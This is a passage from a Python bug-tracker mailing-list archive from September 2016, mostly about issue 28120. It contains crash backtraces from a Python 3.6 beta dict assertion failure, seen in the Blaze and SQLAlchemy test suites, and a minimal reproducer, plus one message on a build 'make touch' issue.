#48 0x0000000000527e3b in _PyFunction_FastCall (co=<optimized out>, args=0x7fffbc644970, nargs=nargs at entry=1, globals=<optimized out>)
    at Python/ceval.c:4845
#49 0x0000000000528a8b in fast_function (func=func at entry=0x7fffe02ef3f0, stack=<optimized out>, nargs=nargs at entry=1, kwnames=kwnames at entry=0x0)
    at Python/ceval.c:4880
#50 0x0000000000528d19 in call_function (pp_stack=pp_stack at entry=0x7fffffff2698, oparg=oparg at entry=0, kwnames=kwnames at entry=0x0) at Python/ceval.c:4784
#51 0x00000000005321d4 in _PyEval_EvalFrameDefault (f=0x7fffbc6447d8, throwflag=<optimized out>) at Python/ceval.c:3250
#52 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x7fffbc6447d8, throwflag=throwflag at entry=0) at Python/ceval.c:718
#53 0x0000000000527e3b in _PyFunction_FastCall (co=<optimized out>, args=0x1cb7eb0, nargs=nargs at entry=1, globals=<optimized out>) at Python/ceval.c:4845
#54 0x0000000000528a8b in fast_function (func=func at entry=0x7fffe02d0788, stack=<optimized out>, nargs=nargs at entry=1, kwnames=kwnames at entry=0x0)
    at Python/ceval.c:4880
#55 0x0000000000528d19 in call_function (pp_stack=pp_stack at entry=0x7fffffff2848, oparg=oparg at entry=1, kwnames=kwnames at entry=0x0) at Python/ceval.c:4784
---Type <return> to continue, or q <return> to quit---
#56 0x00000000005321d4 in _PyEval_EvalFrameDefault (f=0x1cb7cf8, throwflag=<optimized out>) at Python/ceval.c:3250
#57 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x1cb7cf8, throwflag=throwflag at entry=0) at Python/ceval.c:718
#58 0x0000000000527e3b in _PyFunction_FastCall (co=co at entry=0x7fffe0738d00, args=0x7fffffff29f8, args at entry=0x7fffffff29e0, nargs=nargs at entry=3, 
    globals=globals at entry=0x7fffe0a7fc88) at Python/ceval.c:4845
#59 0x0000000000533f46 in _PyFunction_FastCallDict (func=func at entry=0x7fffe06e6618, args=args at entry=0x7fffffff29e0, nargs=nargs at entry=3, 
    kwargs=kwargs at entry=0x0) at Python/ceval.c:4947
#60 0x0000000000446837 in _PyObject_FastCallDict (func=func at entry=0x7fffe06e6618, args=args at entry=0x7fffffff29e0, nargs=3, kwargs=kwargs at entry=0x0)
    at Objects/abstract.c:2297
#61 0x00000000004479da in PyObject_CallFunctionObjArgs (callable=0x7fffe06e6618) at Objects/abstract.c:2811
#62 0x00000000004b6930 in slot_tp_descr_get (self=self at entry=0x7fffe0340810, obj=obj at entry=0x7fffbc692f60, type=0x16e2238) at Objects/typeobject.c:6330
#63 0x000000000049bde4 in _PyObject_GenericGetAttrWithDict (obj=0x7fffbc692f60, name=0x7ffff7e82450, dict=<optimized out>, dict at entry=0x0)
    at Objects/object.c:1099
...

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:15:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 11:15:25 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473765325.62.0.0218423108494.issue28120@psf.upfronthosting.co.za>


Christian Heimes added the comment:

$ PYTHONFAULTHANDLER=1 bin/pytest -v lib/python3.6/site-packages/blaze/tests/test_sql.py                    
=================================================================== test session starts ====================================================================
platform linux -- Python 3.6.0b1+, pytest-3.0.2, py-1.4.31, pluggy-0.3.1 -- /home/heimes/dev/python/python3.6/blaze/bin/python3.6
cachedir: .cache
rootdir: /home/heimes/dev/python/python3.6/blaze, inifile: 
collected 16 items 

lib/python3.6/site-packages/blaze/tests/test_sql.py::test_column Aborted (core dumped)
[heimes at hamiller blaze]$ PYTHONFAULTHANDLER=1 bin/pytest -s -v lib/python3.6/site-packages/blaze/tests/test_sql.py 
=================================================================== test session starts ====================================================================
platform linux -- Python 3.6.0b1+, pytest-3.0.2, py-1.4.31, pluggy-0.3.1 -- /home/heimes/dev/python/python3.6/blaze/bin/python3.6
cachedir: .cache
rootdir: /home/heimes/dev/python/python3.6/blaze, inifile: 
collecting 0 items/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/flask/exthook.py:71: ExtDeprecationWarning: Importing flask.ext.cors is deprecated, use flask_cors instead.
  .format(x=modname), ExtDeprecationWarning
collected 16 items 

lib/python3.6/site-packages/blaze/tests/test_sql.py::test_column python3.6: Objects/dictobject.c:1743: _PyDict_Pop: Assertion `ix >= 0' failed.
Fatal Python error: Aborted

Thread 0x00007f9671ffb700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 429 in _handle_results
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f96727fc700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 376 in _handle_tasks
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f9672ffd700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 367 in _handle_workers
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f96737fe700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f9673fff700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f9688fb9700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f96897ba700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f9689fbb700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f968a7bc700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f968afbd700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Thread 0x00007f968b7be700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 295 in wait
  File "/home/heimes/dev/python/python3.6/lib/python3.6/queue.py", line 164 in get
  File "/home/heimes/dev/python/python3.6/lib/python3.6/multiprocessing/pool.py", line 108 in worker
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 864 in run
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 916 in _bootstrap_inner
  File "/home/heimes/dev/python/python3.6/lib/python3.6/threading.py", line 884 in _bootstrap

Current thread 0x00007f96a3ebc700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/util/langhelpers.py", line 796 in expire_instance
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/elements.py", line 3310 in _set_table
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/elements.py", line 3288 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/schema.py", line 1157 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/schema.py", line 1414 in _make_proxy
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/selectable.py", line 3212 in _populate_column_collection
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/selectable.py", line 577 in columns
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/util/langhelpers.py", line 754 in __get__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/selectable.py", line 1149 in _populate_column_collection
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/sql/selectable.py", line 586 in primary_key
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/sqlalchemy/util/langhelpers.py", line 754 in __get__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/compute/sql.py", line 731 in compute_up
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/multipledispatch/dispatcher.py", line 164 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/compute/core.py", line 325 in bottom_up_until_type_break
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/compute/core.py", line 158 in top_then_bottom_then_top_again_etc
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/compute/core.py", line 189 in top_then_bottom_then_top_again_etc
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/compute/core.py", line 409 in compute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/multipledispatch/dispatcher.py", line 164 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/interactive.py", line 195 in compute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/multipledispatch/dispatcher.py", line 164 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/interactive.py", line 474 in convert_base
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/interactive.py", line 500 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/interactive.py", line 428 in table_length
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/blaze/tests/test_sql.py", line 31 in test_column
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/python.py", line 149 in pytest_pyfunc_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 264 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 247 in _wrapped_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 595 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/python.py", line 1552 in runtest
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 104 in pytest_runtest_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 264 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 247 in _wrapped_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 595 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 151 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 163 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 151 in call_runtest_hook
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 133 in call_and_report
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 79 in runtestprotocol
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 66 in pytest_runtest_protocol
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 264 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 247 in _wrapped_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 595 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 152 in pytest_runtestloop
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 131 in _main
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 96 in wrap_session
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 125 in pytest_cmdline_main
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/config.py", line 57 in main
  File "bin/pytest", line 11 in <module>
Aborted (core dumped)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:24:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 11:24:25 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473765865.55.0.696437064591.issue28120@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's a bug in sqlalchemy. The test suite of sqlalchemy is crashing, too.

$ PYTHONFAULTHANDLER=1 ../bin/pytest -v -s
=================================================================== test session starts ====================================================================
platform linux -- Python 3.6.0b1+, pytest-3.0.2, py-1.4.31, pluggy-0.3.1 -- /home/heimes/dev/python/python3.6/blaze/bin/python3.6
cachedir: .cache
rootdir: /home/heimes/dev/python/python3.6/blaze/sqlalchemy, inifile: setup.cfg
collected 7883 items 

test/aaa_profiling/test_compiler.py::CompileTest_sqlite_pysqlite::test_insert SKIPPED
test/aaa_profiling/test_compiler.py::CompileTest_sqlite_pysqlite::test_select SKIPPED
test/aaa_profiling/test_compiler.py::CompileTest_sqlite_pysqlite::test_select_labels python3.6: Objects/dictobject.c:1743: _PyDict_Pop: Assertion `ix >= 0' failed.
Fatal Python error: Aborted

Current thread 0x00007f5606ac8700 (most recent call first):
  File "/home/heimes/dev/python/python3.6/blaze/sqlalchemy/test/../lib/sqlalchemy/util/langhelpers.py", line 796 in expire_instance
  File "/home/heimes/dev/python/python3.6/blaze/sqlalchemy/test/../lib/sqlalchemy/sql/selectable.py", line 666 in _reset_exported
  File "/home/heimes/dev/python/python3.6/blaze/sqlalchemy/test/../lib/sqlalchemy/sql/selectable.py", line 1918 in _generate
  File "/home/heimes/dev/python/python3.6/blaze/sqlalchemy/test/../lib/sqlalchemy/sql/base.py", line 44 in _generative
  File "<string>", line 2 in apply_labels
  File "/home/heimes/dev/python/python3.6/blaze/sqlalchemy/test/aaa_profiling/test_compiler.py", line 72 in test_select_labels
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/python.py", line 149 in pytest_pyfunc_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 264 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 247 in _wrapped_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 595 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/python.py", line 1552 in runtest
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 104 in pytest_runtest_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 264 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 247 in _wrapped_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 595 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 151 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 163 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 151 in call_runtest_hook
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 133 in call_and_report
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 79 in runtestprotocol
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/runner.py", line 66 in pytest_runtest_protocol
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 264 in __init__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 247 in _wrapped_call
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 595 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 152 in pytest_runtestloop
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 131 in _main
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 96 in wrap_session
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/main.py", line 125 in pytest_cmdline_main
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/home/heimes/dev/python/python3.6/blaze/lib/python3.6/site-packages/_pytest/config.py", line 57 in main
  File "../bin/pytest", line 11 in <module>
Aborted (core dumped)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:26:02 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 11:26:02 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473765962.22.0.656136488612.issue28120@psf.upfronthosting.co.za>


Stefan Krah added the comment:

It fails in pytest and has a segfault.  The pytest issue should probably
be separate issue (it could also be a blaze issue).


This is a minimal reproducer for the segfault:

=========================================================
from blaze.expr import symbol
from blaze.interactive import data
from blaze.compute import compute

t = symbol('t', 'var * {amount: int64, id: int64, name: string}')

sql = data('sqlite:///:memory:::accounts', dshape=t.dshape)

expr = t.distinct().nrows
x = expr._subs({t: sql})
result = compute(x)
=========================================================


Blaze itself is pure Python, a third part issue could be in sqlite
or sqlalchemy (but I think that is also mostly pure Python).

----------
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:29:24 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 11:29:24 +0000
Subject: [issue23404] 'make touch' does not work with git clones of the source
 repository
In-Reply-To: <1423262765.96.0.527396909.issue23404@psf.upfronthosting.co.za>
Message-ID: <1473766164.66.0.776854675302.issue23404@psf.upfronthosting.co.za>


Martin Panter added the comment:

Okay so my ?make -t? trick has various flaws. You still have to know the filenames to specify, it requires Makefile to be generated by configure in the source tree, and it creates empty files if you use it in a separate build directory.

Another idea: instead of the ?make touch? recipe, we add a simple shell script. Call it say ?touch-bootstrap.sh?. Like what ?make touch? already does in Python 2, but without embedding it as a makefile rule.

Or add a flag variable so you can do a build without running any of the regeneration rules or worrying about timestamps: make BOOT="#".

----------
Added file: http://bugs.python.org/file44627/boot-flag.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23404>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:34:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 11:34:40 +0000
Subject: [issue28120] SQLAlchemy's expire_instance() causes _PyDict_Pop:
 Assertion `ix >= 0' failed.
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473766480.35.0.588178130952.issue28120@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
title: The Blaze test suite segfaults with 4a5b61b0d090 -> SQLAlchemy's expire_instance() causes _PyDict_Pop: Assertion `ix >= 0' failed.

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:36:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 11:36:10 +0000
